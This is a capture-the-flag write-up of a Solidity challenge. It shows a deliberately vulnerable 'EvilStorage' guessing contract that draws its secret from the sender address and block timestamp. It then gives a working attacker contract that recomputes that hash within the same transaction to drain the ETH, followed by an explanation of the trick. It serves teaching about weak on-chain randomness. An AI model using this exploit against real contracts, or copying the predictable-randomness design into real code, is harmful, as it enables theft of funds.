Guess_Timestamp

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EvilStorage CTF Challenge

Challenge Description

This CTF is a smart contract challenge based on a "guessing game."

The contract owner deploys the EvilStorage contract with 1 ETH. Users can call the check() function only once to guess a secret number. If their guess is correct, they win the entire ETH balance.

But here's the twist — the number to guess is generated using:

uint256 hashed = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp)));

Can you predict the hash and steal the ETH?

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Challenge Code — EvilStorage.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EvilStorage {
    address public owner;
    bool public completed;
    mapping(address => bool) public tried;

    constructor() payable {
        require(msg.value == 1 ether, "Need 1 ETH to start");
        owner = msg.sender;
    }

    function check(uint256 guess) external {
        require(!completed, "Already completed");
        require(!tried[msg.sender], "You only get one guess");
        tried[msg.sender] = true;

        uint256 hashed = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp)));
        if (guess == hashed) {
            completed = true;
            payable(msg.sender).transfer(address(this).balance);
        }
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

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🛠️ Attacker Code — EvilStorageAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IEvilStorage {
    function check(uint256 guess) external;
}

contract EvilStorageAttack {
    constructor(address target) payable {
        require(msg.value > 0, "Send ETH to forward");

        // Predict the same hash using the attacker's address and block.timestamp
        uint256 guess = uint256(keccak256(abi.encodePacked(address(this), block.timestamp)));

        IEvilStorage(target).check(guess);
    }

    // Helper to view remaining ETH
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    // Receive ETH if sent
    receive() external payable {}
}

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Explanation

• The EvilStorage contract uses your wallet address and block timestamp to generate a secret hash.
• You are allowed to guess the hash only once.
• If your guess is correct, you win all the ETH.

But this seems impossible because block.timestamp is unpredictable in a normal transaction.

The Trick

In the attacker contract:

• You predict the hash inside the constructor before calling check().
• Since the constructor and the check() call happen within the same transaction, the block.timestamp will be the same in both places.
• Therefore, the hash matches and you win the ETH!

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